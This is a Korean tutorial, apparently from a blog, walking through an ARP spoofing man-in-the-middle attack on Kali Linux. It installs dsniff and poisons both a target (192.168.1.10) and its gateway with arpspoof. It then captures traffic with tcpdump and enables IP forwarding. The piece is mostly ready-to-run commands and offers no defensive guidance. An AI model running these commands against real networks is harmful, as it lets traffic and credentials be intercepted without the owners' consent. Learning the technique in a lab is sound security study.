[Linux] arpspoof 명령어를 사용한 ARP Spoofing 실습
ARP 스푸핑은 ARP 패킷을 위조하여 네트워크 상의 다른 장치에게 잘못된 MAC 주소를 제공함으로써 특정 트래픽을 가로채거나 네트워크 통신을 방해하는 공격입니다. 이를 수행하려면 ARP 패킷을 생성하고 전송할 수 있는 도구가 필요합니다.
ARP 스푸핑을 수행하기 위해 더 적합한 도구는 arpspoof, ettercap, bettercap 등이 있으며, arpspoof를 사용한 ARP 스푸핑은 다음과 같이 수행할 수 있습니다.
- dsniff 패키지에 arpspoof 명령어가 포함되어 있습니다.
root@kali:~# apt-get install dsniff
- arpspoof 명령어 사용법
root@kali:~# arpspoof -i [interface] -t target_ip [-r] gateway_ip
- -i [interface]는 네트워크 인터페이스 이름 (예: eth0, wlan0 등)
- -t [target_ip]는 스푸핑 대상 장치의 IP 주소로, 등록된 gateway_ip의 MAC주소를 공격자의 MAC 주소로 위조함
- -r [gateway_ip]는 게이트웨이/라우터의 IP 주소로, -r 옵션과 함께 사용하면 게이트웨이에 등록된 target_ip의 MAC주소도 공격자의 MAC 주소로 동시에 위조함
- ARP Spoofing 예제
- 예제 시나리오
인터페이스: eth0 (사용 중인 네트워크 인터페이스)
타겟 IP: 192.168.1.10 (스푸핑 대상 장치)
게이트웨이 IP: 192.168.1.1 (라우터 또는 게이트웨이) - 타겟 장치에게 게이트웨이의 MAC 주소를 스푸핑
타겟 장치(192.168.1.10)에게 자신의 MAC 주소를 게이트웨이(192.168.1.1)의 MAC 주소로 속여 보내게 합니다.root@kali:~# arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
- 게이트웨이에게 타겟 장치의 MAC 주소를 스푸핑
게이트웨이(192.168.1.1)에게 자신의 MAC 주소를 타겟 장치(192.168.1.10)의 MAC 주소로 속여 보내게 합니다.
-r 옵션을 사용하면 3.2과 3.3 단계를 한 번에 처리할 수 있습니다.root@kali:~# arpspoof -i eth0 -t 192.168.1.1 192.168.1.10
- 트래픽 모니터링
두 장치 간의 모든 트래픽이 공격자의 시스템을 통과하게 됩니다. 이를 모니터링하기 위해 tcpdump와 같은 패킷 캡처 도구를 사용할 수 있습니다.root@kali:~# tcpdump -i eth0
- IP 포워딩 활성화
중간자 공격을 완벽히 수행하려면, 패킷이 공격자의 시스템을 통과하도록 IP 포워딩을 활성화해야 합니다. 이는 트래픽이 대상 시스템에 도달하도록 보장합니다.root@kali:~# sysctl -w net.ipv4.ip_forward=1
- 예제 시나리오